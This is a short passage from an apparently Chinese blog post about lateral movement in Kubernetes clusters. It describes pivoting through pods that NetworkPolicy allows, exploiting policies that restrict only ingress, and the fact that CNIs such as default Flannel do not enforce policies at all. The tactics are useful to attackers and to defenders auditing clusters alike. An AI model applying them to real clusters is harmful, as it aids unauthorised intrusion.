如果存在 NetworkPolicy,横向移动时需要找到被策略允许通信的 Pod 作为跳板,或者利用策略只限制了入站(Ingress)没限制出站(Egress)的遗漏。如果集群使用的 CNI 不支持 NetworkPolicy(比如默认配置的 Flannel),即使创建了策略也不会生效,横向移动不受限制。

posted @ 2026-08-23 23:06  xNftrOne  阅读(10)  评论(0)    收藏  举报